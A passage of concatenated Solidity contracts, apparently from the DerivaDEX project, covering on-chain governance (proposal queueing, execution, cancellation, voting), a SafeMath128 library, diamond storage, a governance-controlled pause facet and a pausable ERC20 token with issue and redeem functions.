_values, signatures: _signatures, calldatas: _calldatas, startBlock: startBlock, endBlock: startBlock.add(dsGovernance.votingPeriod), forVotes: 0, againstVotes: 0, canceled: false, executed: false }); dsGovernance.proposals[newProposal.id] = newProposal; // Update proposer's latest proposal dsGovernance.latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated( newProposal.id, msg.sender, _targets, _values, _signatures, _calldatas, startBlock, startBlock.add(dsGovernance.votingPeriod), _description ); return newProposal.id; } /** * @notice This function allows any participant to queue a * successful proposal for execution. Proposals are deemed * successful if at any point the number of for votes has * exceeded the skip remaining voting threshold or if there * is a simple majority (and more for votes than the * minimum quorum) at the end of voting. * @param _proposalId Proposal id. */ function queue(uint128 _proposalId) external { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); // Ensure proposal has succeeded (i.e. it has either enough for // votes to skip the remainder of the voting period or the // voting period has ended and there is a simple majority in // favor and also above the quorum require( state(_proposalId) == GovernanceDefs.ProposalState.Succeeded, "Governance: proposal can only be queued if it is succeeded." ); GovernanceDefs.Proposal storage proposal = dsGovernance.proposals[_proposalId]; // Establish eta of execution, which is a number of seconds // after queuing at which point proposal can actually execute uint256 eta = block.timestamp.add(proposal.delay); for (uint256 i = 0; i < proposal.targets.length; i++) { // Ensure proposal action is not already in the queue bytes32 txHash = keccak256( abi.encode( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta ) ); require(!dsGovernance.queuedTransactions[txHash], "Governance: proposal action already queued at eta."); dsGovernance.queuedTransactions[txHash] = true; emit QueueTransaction( txHash, proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta ); } // Set proposal eta timestamp after which it can be executed proposal.eta = eta; emit ProposalQueued(_proposalId, eta); } /** * @notice This function allows any participant to execute a * queued proposal. A proposal in the queue must be in the * queue for the delay period it was proposed with prior to * executing, allowing the community to position itself * accordingly. * @param _proposalId Proposal id. */ function execute(uint128 _proposalId) external payable { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); // Ensure proposal is queued require( state(_proposalId) == GovernanceDefs.ProposalState.Queued, "Governance: proposal can only be executed if it is queued." ); GovernanceDefs.Proposal storage proposal = dsGovernance.proposals[_proposalId]; // Ensure proposal has been in the queue long enough require(block.timestamp >= proposal.eta, "Governance: proposal hasn't finished queue time length."); // Ensure proposal hasn't been in the queue for too long require(block.timestamp <= proposal.eta.add(dsGovernance.gracePeriod), "Governance: transaction is stale."); proposal.executed = true; // Loop through each of the actions in the proposal for (uint256 i = 0; i < proposal.targets.length; i++) { bytes32 txHash = keccak256( abi.encode( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ) ); require(dsGovernance.queuedTransactions[txHash], "Governance: transaction hasn't been queued."); dsGovernance.queuedTransactions[txHash] = false; // Execute action bytes memory callData; require(bytes(proposal.signatures[i]).length != 0, "Governance: Invalid function signature."); callData = abi.encodePacked(bytes4(keccak256(bytes(proposal.signatures[i]))), proposal.calldatas[i]); // solium-disable-next-line security/no-call-value (bool success, ) = proposal.targets[i].call{ value: proposal.values[i] }(callData); require(success, "Governance: transaction execution reverted."); emit ExecuteTransaction( txHash, proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ); } emit ProposalExecuted(_proposalId); } /** * @notice This function allows any participant to cancel any non- * executed proposal. It can be canceled if the proposer's * token holdings has dipped below the proposal threshold * at the time of cancellation. * @param _proposalId Proposal id. */ function cancel(uint128 _proposalId) external { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); GovernanceDefs.ProposalState state = state(_proposalId); // Ensure proposal hasn't executed require(state != GovernanceDefs.ProposalState.Executed, "Governance: cannot cancel executed proposal."); GovernanceDefs.Proposal storage proposal = dsGovernance.proposals[_proposalId]; // Ensure proposer's token holdings has dipped below the // proposer threshold, leaving their proposal subject to // cancellation require( dsDerivaDEX.ddxToken.getPriorVotes(proposal.proposer, block.number.sub(1)) < getProposerThresholdCount(), "Governance: proposer above threshold." ); proposal.canceled = true; // Loop through each of the proposal's actions for (uint256 i = 0; i < proposal.targets.length; i++) { bytes32 txHash = keccak256( abi.encode( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ) ); dsGovernance.queuedTransactions[txHash] = false; emit CancelTransaction( txHash, proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta ); } emit ProposalCanceled(_proposalId); } /** * @notice This function allows participants to cast either in * favor or against a particular proposal. * @param _proposalId Proposal id. * @param _support In favor (true) or against (false). */ function castVote(uint128 _proposalId, bool _support) external { return _castVote(msg.sender, _proposalId, _support); } /** * @notice This function allows participants to cast votes with * offline signatures in favor or against a particular * proposal. * @param _proposalId Proposal id. * @param _support In favor (true) or against (false). * @param _signature Signature */ function castVoteBySig( uint128 _proposalId, bool _support, bytes memory _signature ) external { // EIP712 hashing logic bytes32 eip712OrderParamsDomainHash = LibEIP712.hashEIP712Domain(name, version, getChainId(), address(this)); bytes32 voteCastHash = LibVoteCast.getVoteCastHash( LibVoteCast.VoteCast({ proposalId: _proposalId, support: _support }), eip712OrderParamsDomainHash ); // Recover the signature and EIP712 hash uint8 v = uint8(_signature[0]); bytes32 r = _signature.readBytes32(1); bytes32 s = _signature.readBytes32(33); address recovered = ecrecover(voteCastHash, v, r, s); require(recovered != address(0), "Governance: invalid signature."); return _castVote(recovered, _proposalId, _support); } /** * @notice This function sets the quorum votes required for a * proposal to pass. It must be called via * governance. * @param _quorumVotes Quorum votes threshold. */ function setQuorumVotes(uint32 _quorumVotes) external onlyAdmin { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); requireSkipRemainingVotingThresholdGtQuorumVotes(dsGovernance.skipRemainingVotingThreshold, _quorumVotes); dsGovernance.quorumVotes = _quorumVotes; } /** * @notice This function sets the token holdings threshold required * to propose something. It must be called via * governance. * @param _proposalThreshold Proposal threshold. */ function setProposalThreshold(uint32 _proposalThreshold) external onlyAdmin { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); dsGovernance.proposalThreshold = _proposalThreshold; } /** * @notice This function sets the max operations a proposal can * carry out. It must be called via governance. * @param _proposalMaxOperations Proposal's max operations. */ function setProposalMaxOperations(uint32 _proposalMaxOperations) external onlyAdmin { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); dsGovernance.proposalMaxOperations = _proposalMaxOperations; } /** * @notice This function sets the voting delay in blocks from when * a proposal is made and voting begins. It must be called * via governance. * @param _votingDelay Voting delay (blocks). */ function setVotingDelay(uint32 _votingDelay) external onlyAdmin { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); dsGovernance.votingDelay = _votingDelay; } /** * @notice This function sets the voting period in blocks that a * vote will last. It must be called via * governance. * @param _votingPeriod Voting period (blocks). */ function setVotingPeriod(uint32 _votingPeriod) external onlyAdmin { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); dsGovernance.votingPeriod = _votingPeriod; } /** * @notice This function sets the threshold at which a proposal can * immediately be deemed successful or rejected if the for * or against votes exceeds this threshold, even if the * voting period is still ongoing. It must be called * governance. * @param _skipRemainingVotingThreshold Threshold for or against * votes must reach to skip remainder of voting period. */ function setSkipRemainingVotingThreshold(uint32 _skipRemainingVotingThreshold) external onlyAdmin { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); requireValidSkipRemainingVotingThreshold(_skipRemainingVotingThreshold); requireSkipRemainingVotingThresholdGtQuorumVotes(_skipRemainingVotingThreshold, dsGovernance.quorumVotes); dsGovernance.skipRemainingVotingThreshold = _skipRemainingVotingThreshold; } /** * @notice This function sets the grace period in seconds that a * queued proposal can last before expiring. It must be * called via governance. * @param _gracePeriod Grace period (seconds). */ function setGracePeriod(uint32 _gracePeriod) external onlyAdmin { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); dsGovernance.gracePeriod = _gracePeriod; } /** * @notice This function sets the timelock delay (s) a proposal * must be queued before execution. * @param _timelockDelay Timelock delay (seconds). */ function setTimelockDelay(uint32 _timelockDelay) external onlyAdmin { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); dsGovernance.timelockDelay = _timelockDelay; } /** * @notice This function allows any participant to retrieve * the actions involved in a given proposal. * @param _proposalId Proposal id. * @return targets Addresses of contracts involved. * @return values Values to be passed along with the calls. * @return signatures Function signatures. * @return calldatas Calldata passed to the function. */ function getActions(uint128 _proposalId) external view returns ( address[] memory targets, uint256[] memory values, string[] memory signatures, bytes[] memory calldatas ) { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); GovernanceDefs.Proposal storage p = dsGovernance.proposals[_proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } /** * @notice This function allows any participant to retrieve * the receipt for a given proposal and voter. * @param _proposalId Proposal id. * @param _voter Voter address. * @return Voter receipt. */ function getReceipt(uint128 _proposalId, address _voter) external view returns (GovernanceDefs.Receipt memory) { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); return dsGovernance.proposals[_proposalId].receipts[_voter]; } /** * @notice This function gets a proposal from an ID. * @param _proposalId Proposal id. * @return Proposal attributes. */ function getProposal(uint128 _proposalId) external view returns ( bool, bool, address, uint32, uint96, uint96, uint128, uint256, uint256, uint256 ) { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); GovernanceDefs.Proposal memory proposal = dsGovernance.proposals[_proposalId]; return ( proposal.canceled, proposal.executed, proposal.proposer, proposal.delay, proposal.forVotes, proposal.againstVotes, proposal.id, proposal.eta, proposal.startBlock, proposal.endBlock ); } /** * @notice This function gets whether a proposal action transaction * hash is queued or not. * @param _txHash Proposal action tx hash. * @return Is proposal action transaction hash queued or not. */ function getIsQueuedTransaction(bytes32 _txHash) external view returns (bool) { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); return dsGovernance.queuedTransactions[_txHash]; } /** * @notice This function gets the Governance facet's current * parameters. * @return Proposal max operations. * @return Voting delay. * @return Voting period. * @return Grace period. * @return Timelock delay. * @return Quorum votes threshold. * @return Proposal threshold. * @return Skip remaining voting threshold. */ function getGovernanceParameters() external view returns ( uint32, uint32, uint32, uint32, uint32, uint32, uint32, uint32 ) { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); return ( dsGovernance.proposalMaxOperations, dsGovernance.votingDelay, dsGovernance.votingPeriod, dsGovernance.gracePeriod, dsGovernance.timelockDelay, dsGovernance.quorumVotes, dsGovernance.proposalThreshold, dsGovernance.skipRemainingVotingThreshold ); } /** * @notice This function gets the proposal count. * @return Proposal count. */ function getProposalCount() external view returns (uint128) { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); return dsGovernance.proposalCount; } /** * @notice This function gets the latest proposal ID for a user. * @param _proposer Proposer's address. * @return Proposal ID. */ function getLatestProposalId(address _proposer) external view returns (uint128) { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); return dsGovernance.latestProposalIds[_proposer]; } /** * @notice This function gets the quorum vote count given the * quorum vote percentage relative to the total DDX supply. * @return Quorum vote count. */ function getQuorumVoteCount() public view returns (uint96) { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); uint96 totalSupply = dsDerivaDEX.ddxToken.totalSupply().safe96("Governance: amount exceeds 96 bits"); return totalSupply.proportion96(dsGovernance.quorumVotes, 100); } /** * @notice This function gets the quorum vote count given the * quorum vote percentage relative to the total DDX supply. * @return Quorum vote count. */ function getProposerThresholdCount() public view returns (uint96) { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); uint96 totalSupply = dsDerivaDEX.ddxToken.totalSupply().safe96("Governance: amount exceeds 96 bits"); return totalSupply.proportion96(dsGovernance.proposalThreshold, 100); } /** * @notice This function gets the quorum vote count given the * quorum vote percentage relative to the total DDX supply. * @return Quorum vote count. */ function getSkipRemainingVotingThresholdCount() public view returns (uint96) { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); uint96 totalSupply = dsDerivaDEX.ddxToken.totalSupply().safe96("Governance: amount exceeds 96 bits"); return totalSupply.proportion96(dsGovernance.skipRemainingVotingThreshold, 100); } /** * @notice This function retrieves the status for any given * proposal. * @param _proposalId Proposal id. * @return Status of proposal. */ function state(uint128 _proposalId) public view returns (GovernanceDefs.ProposalState) { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); require(dsGovernance.proposalCount >= _proposalId && _proposalId > 0, "Governance: invalid proposal id."); GovernanceDefs.Proposal storage proposal = dsGovernance.proposals[_proposalId]; // Note the 3rd conditional where we can escape out of the vote // phase if the for or against votes exceeds the skip remaining // voting threshold if (proposal.canceled) { return GovernanceDefs.ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return GovernanceDefs.ProposalState.Pending; } else if ( (block.number <= proposal.endBlock) && (proposal.forVotes < getSkipRemainingVotingThresholdCount()) && (proposal.againstVotes < getSkipRemainingVotingThresholdCount()) ) { return GovernanceDefs.ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < getQuorumVoteCount()) { return GovernanceDefs.ProposalState.Defeated; } else if (proposal.eta == 0) { return GovernanceDefs.ProposalState.Succeeded; } else if (proposal.executed) { return GovernanceDefs.ProposalState.Executed; } else if (block.timestamp >= proposal.eta.add(dsGovernance.gracePeriod)) { return GovernanceDefs.ProposalState.Expired; } else { return GovernanceDefs.ProposalState.Queued; } } function _castVote( address _voter, uint128 _proposalId, bool _support ) internal { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); require(state(_proposalId) == GovernanceDefs.ProposalState.Active, "Governance: voting is closed."); GovernanceDefs.Proposal storage proposal = dsGovernance.proposals[_proposalId]; GovernanceDefs.Receipt storage receipt = proposal.receipts[_voter]; // Ensure voter has not already voted require(!receipt.hasVoted, "Governance: voter already voted."); // Obtain the token holdings (voting power) for participant at // the time voting started. They may have gained or lost tokens // since then, doesn't matter. uint96 votes = dsDerivaDEX.ddxToken.getPriorVotes(_voter, proposal.startBlock); // Ensure voter has nonzero voting power require(votes > 0, "Governance: voter has no voting power."); if (_support) { // Increment the for votes in favor proposal.forVotes = proposal.forVotes.add96(votes); } else { // Increment the against votes proposal.againstVotes = proposal.againstVotes.add96(votes); } // Set receipt attributes based on cast vote parameters receipt.hasVoted = true; receipt.support = _support; receipt.votes = votes; emit VoteCast(_voter, _proposalId, _support, votes); } function getTimelockDelayForSignatures(string[] memory _signatures) internal view returns (uint32) { LibDiamondStorageGovernance.DiamondStorageGovernance storage dsGovernance = LibDiamondStorageGovernance.diamondStorageGovernance(); for (uint256 i = 0; i < _signatures.length; i++) { if (!dsGovernance.fastPathFunctionSignatures[_signatures[i]]) { return dsGovernance.timelockDelay; } } return 1; } function requireSkipRemainingVotingThresholdGtQuorumVotes(uint32 _skipRemainingVotingThreshold, uint32 _quorumVotes) internal pure { require(_skipRemainingVotingThreshold > _quorumVotes, "Governance: skip rem votes must be higher than quorum."); } function requireValidSkipRemainingVotingThreshold(uint32 _skipRemainingVotingThreshold) internal pure { require(_skipRemainingVotingThreshold >= 50, "Governance: skip rem votes must be higher than 50pct."); } function getChainId() internal pure returns (uint256) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; /** * @title GovernanceDefs * @author DerivaDEX * * This library contains the common structs and enums pertaining to * the governance. */ library GovernanceDefs { struct Proposal { bool canceled; bool executed; address proposer; uint32 delay; uint96 forVotes; uint96 againstVotes; uint128 id; uint256 eta; address[] targets; string[] signatures; bytes[] calldatas; uint256[] values; uint256 startBlock; uint256 endBlock; mapping(address => Receipt) receipts; } struct Receipt { bool hasVoted; bool support; uint96 votes; } enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath128 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint128 a, uint128 b) internal pure returns (uint128) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint128 a, uint128 b, string memory errorMessage ) internal pure returns (uint128) { require(b <= a, errorMessage); uint128 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint128 a, uint128 b) internal pure returns (uint128) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint128 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint128 a, uint128 b) internal pure returns (uint128) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint128 a, uint128 b, string memory errorMessage ) internal pure returns (uint128) { require(b > 0, errorMessage); uint128 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint128 a, uint128 b) internal pure returns (uint128) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint128 a, uint128 b, string memory errorMessage ) internal pure returns (uint128) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { GovernanceDefs } from "../libs/defs/GovernanceDefs.sol"; library LibDiamondStorageGovernance { struct DiamondStorageGovernance { // Proposal struct by ID mapping(uint256 => GovernanceDefs.Proposal) proposals; // Latest proposal IDs by proposer address mapping(address => uint128) latestProposalIds; // Whether transaction hash is currently queued mapping(bytes32 => bool) queuedTransactions; // Fast path for governance mapping(string => bool) fastPathFunctionSignatures; // Max number of operations/actions a proposal can have uint32 proposalMaxOperations; // Number of blocks after a proposal is made that voting begins // (e.g. 1 block) uint32 votingDelay; // Number of blocks voting will be held // (e.g. 17280 blocks ~ 3 days of blocks) uint32 votingPeriod; // Time window (s) a successful proposal must be executed, // otherwise will be expired, measured in seconds // (e.g. 1209600 seconds) uint32 gracePeriod; // Minimum time (s) in which a successful proposal must be // in the queue before it can be executed // (e.g. 0 seconds) uint32 minimumDelay; // Maximum time (s) in which a successful proposal must be // in the queue before it can be executed // (e.g. 2592000 seconds ~ 30 days) uint32 maximumDelay; // Minimum number of for votes required, even if there's a // majority in favor // (e.g. 2000000e18 ~ 4% of pre-mine DDX supply) uint32 quorumVotes; // Minimum DDX token holdings required to create a proposal // (e.g. 500000e18 ~ 1% of pre-mine DDX supply) uint32 proposalThreshold; // Number of for or against votes that are necessary to skip // the remainder of the voting period // (e.g. 25000000e18 tokens/votes) uint32 skipRemainingVotingThreshold; // Time (s) proposals must be queued before executing uint32 timelockDelay; // Total number of proposals uint128 proposalCount; } bytes32 constant DIAMOND_STORAGE_POSITION_GOVERNANCE = keccak256("diamond.standard.diamond.storage.DerivaDEX.Governance"); function diamondStorageGovernance() internal pure returns (DiamondStorageGovernance storage ds) { bytes32 position = DIAMOND_STORAGE_POSITION_GOVERNANCE; assembly { ds_slot := position } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import { LibDiamondStorageDerivaDEX } from "../../storage/LibDiamondStorageDerivaDEX.sol"; import { LibDiamondStoragePause } from "../../storage/LibDiamondStoragePause.sol"; /** * @title Pause * @author DerivaDEX * @notice This is a facet to the DerivaDEX proxy contract that handles * the logic pertaining to pausing functionality. The purpose * of this is to ensure the system can pause in the unlikely * scenario of a bug or issue materially jeopardizing users' * funds or experience. This facet will be removed entirely * as the system stabilizes shortly. It's important to note that * unlike the vast majority of projects, even during this * short-lived period of time in which the system can be paused, * no single admin address can wield this power, but rather * pausing must be carried out via governance. */ contract Pause { event PauseInitialized(); event IsPausedSet(bool isPaused); /** * @notice Limits functions to only be called via governance. */ modifier onlyAdmin { LibDiamondStorageDerivaDEX.DiamondStorageDerivaDEX storage dsDerivaDEX = LibDiamondStorageDerivaDEX.diamondStorageDerivaDEX(); require(msg.sender == dsDerivaDEX.admin, "Pause: must be called by Gov."); _; } /** * @notice This function initializes the facet. */ function initialize() external onlyAdmin { emit PauseInitialized(); } /** * @notice This function sets the paused status. * @param _isPaused Whether contracts are paused or not. */ function setIsPaused(bool _isPaused) external onlyAdmin { LibDiamondStoragePause.DiamondStoragePause storage dsPause = LibDiamondStoragePause.diamondStoragePause(); dsPause.isPaused = _isPaused; emit IsPausedSet(_isPaused); } /** * @notice This function gets whether the contract ecosystem is * currently paused. * @return Whether contracts are paused or not. */ function getIsPaused() public view returns (bool) { LibDiamondStoragePause.DiamondStoragePause storage dsPause = LibDiamondStoragePause.diamondStoragePause(); return dsPause.isPaused; } } // SPDX-License-Identifier: MIT /** *Submitted for verification at Etherscan.io on 2019-07-18 */ pragma solidity 0.6.12; import { SafeMath } from "openzeppelin-solidity/contracts/math/SafeMath.sol"; import { Ownable } from "openzeppelin-solidity/contracts/access/Ownable.sol"; import { IERC20 } from "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol"; library Roles { struct Role { mapping(address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } contract PauserRole is Ownable { using Roles for Roles.Role; Roles.Role private _pausers; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); constructor() internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender), "PauserRole: caller does not have the Pauser role"); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyOwner { _addPauser(account); } function removePauser(address account) public onlyOwner { _removePauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { bool private _paused; event Paused(address account); event Unpaused(address account); constructor() internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } contract ERC20 is IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; event Issue(address indexed account, uint256 amount); event Redeem(address indexed account, uint256 value); function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 value) public virtual override returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve( address owner, address spender, uint256 value ) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } function _issue(address account, uint256 amount) internal { require(account != address(0), "CoinFactory: issue to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); emit Issue(account, amount); } function _redeem(address account, uint256 value) internal { require(account != address(0), "CoinFactory: redeem from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); emit Redeem(account, value); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public virtual override whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom( address from, address to, uint256 value ) public virtual override whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public virtual override whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint256 addedValue) public virtual override whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } contract CoinFactoryAdminRole is Ownable { using Roles for Roles.Role; event CoinFactoryAdminRoleAdded(address indexed account); event CoinFactoryAdminRoleRemoved(address indexed account); Roles.Role private _coinFactoryAdmins; constructor() internal { _addCoinFactoryAdmin(msg.sender); } modifier onlyCoinFactoryAdmin() { require(isCoinFactoryAdmin(msg.sender), "CoinFactoryAdminRole: caller does not have the CoinFactoryAdmin role"); _; } function isCoinFactoryAdmin(address account) public view returns (bool) { return _coinFactoryAdmins.has(account); } function addCoinFactoryAdmin(address account) public onlyOwner { _addCoinFactoryAdmin(account); } function removeCoinFactoryAdmin(address account) public onlyOwner { _removeCoinFactoryAdmin(account); } function renounceCoinFactoryAdmin() public { _removeCoinFactoryAdmin(msg.sender); } function _addCoinFactoryAdmin(address account) internal { 